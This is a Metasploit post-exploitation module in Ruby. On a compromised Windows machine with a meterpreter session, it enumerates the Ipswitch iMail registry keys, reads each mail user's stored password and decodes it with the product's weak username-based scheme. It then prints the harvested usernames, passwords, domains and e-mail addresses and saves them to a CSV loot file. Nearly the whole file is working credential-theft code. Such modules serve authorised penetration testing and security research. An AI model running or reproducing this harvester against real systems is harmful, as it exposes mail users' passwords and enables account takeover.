##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/post/windows/registry'
require 'msf/core/auxiliary/report'

class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Auxiliary::Report

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Windows Gather IPSwitch iMail User Data Enumeration",
			'Description'    => %q{
					This module will collect iMail user data such as the username, domain,
				full name, e-mail, and the decoded password.  Please note if IMAILUSER is
				specified, the module extracts user data from all the domains found.  If
				IMAILDOMAIN is specified, then it will extract all user data under that
				particular category.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r',  #Metasploit
				],
			'References'     =>
				[
					['EDB', '11331'],
				],
			'Platform'       => [ 'win' ],
			'SessionTypes'   => [ 'meterpreter' ]
			))

			register_options(
				[
					OptString.new('IMAILUSER', [false, 'iMail username', '']),
					OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])
				], self.class)
	end

	def download_info(imail_user='', imail_domain='')
		base = "HKLM\\SOFTWARE\\Ipswitch\\IMail"

		#Find domain(s)
		users_subkey = []
		if imail_domain.empty?
			domains_key = registry_enumkeys("#{base}\\domains")
			if not domains_key.nil?
				domains_key.each do |domain_key|
					users_subkey << "#{base}\\domains\\#{domain_key}\\Users"
				end
			end
		else
			users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"
		end

		#Find users
		users_key = []
		users_subkey.each do |user_key|
			if imail_user.empty?
				users = registry_enumkeys(user_key)
				if not users.nil?
					users.each do |user|
						users_key << "#{user_key}\\#{user}"
					end
				end
			else
				users_key << "#{user_key}\\#{imail_user}"
			end
		end

		#Get data for each user
		users = []
		users_key.each do |key|
			#Filter out '_aliases'
			next if key =~ /_aliases/

			vprint_status("Grabbing key: #{key}")

			domain    = $1 if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/
			mail_addr = registry_getvaldata(key, 'MailAddr')
			password  = registry_getvaldata(key, 'Password')
			full_name = registry_getvaldata(key, 'FullName')
			username  = $1 if mail_addr =~ /(.+)@.+/

			#Hmm, I don't think this user exists, skip to the next one
			next if mail_addr == nil

			current_user =
			{
				:domain   => domain,
				:fullname => full_name,
				:username => username,
				:email    => mail_addr,
				:password => password,
			}

			users << current_user
		end

		return users
	end

	def decode_password(username='', enc_password='')
		#No point trying to decode if there's no username or password
		return "" if username.empty? or enc_password.empty?

		counter = 0
		password = ''

		#Start decoding, what's up gold $$
		0.step(enc_password.length-1, 2) do |i|
			byte_1 = enc_password[i,1].unpack("C")[0]
			byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55
			byte_1 *= 16

			byte_2 = enc_password[i+1,1].unpack("C")[0]
			byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55

			char = byte_1 + byte_2

			counter = 0 if username.length <= counter

			username_byte = username[counter, 1].unpack("C")[0]
			if username_byte > 54 and username_byte < 90
				username_byte += 32
			end

			char -= username_byte
			counter += 1
			password << char.chr
		end

		vprint_status("Password '#{enc_password}' = #{password}")

		return password
	end

	def report(users)
		credentials = Rex::Ui::Text::Table.new(
			'Header'  => 'Ipswitch iMail User Credentials',
			'Indent'   => 1,
			'Columns' =>
			[
				'User',
				'Password',
				'Domain',
				'Full Name',
				'E-mail'
			]
		)

		users.each do |user|
			domain    = user[:domain]
			username  = user[:username]
			password  = user[:password]
			full_name = user[:fullname]
			e_mail    = user[:email]

			if datastore['VERBOSE']
				text  = ''
				text << "User=#{username}, "
				text << "Password=#{password}, "
				text << "Domain=#{domain}, "
				text << "Full Name=#{full_name}, "
				text << "E-mail=#{e_mail}"
				print_good(text)
			end

			credentials << [username, password, domain, full_name, e_mail]
		end

		print_status("Storing data...")

		path = store_loot(
			'imail.user.creds',
			'text/csv',
			session,
			credentials.to_csv,
			'imail_user_creds.csv',
			'Ipswitch iMail user credentials'
		)

		print_status("User credentials saved in: #{path}")
	end

	def run
		imail_user = datastore['IMAILUSER']
		imail_domain = datastore['IMAILDOMAIN']

		print_status("Download iMail user information...") if datastore['VERBOSE'] == false

		#Download user data.  If no user specified, we dump it all.
		users = download_info(imail_user, imail_domain)

		#Process fullname and decode password
		users.each do |user|
			user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])
			user[:password] = decode_password(user[:username], user[:password])
		end

		#Report information and store it
		report(users)
	end
end
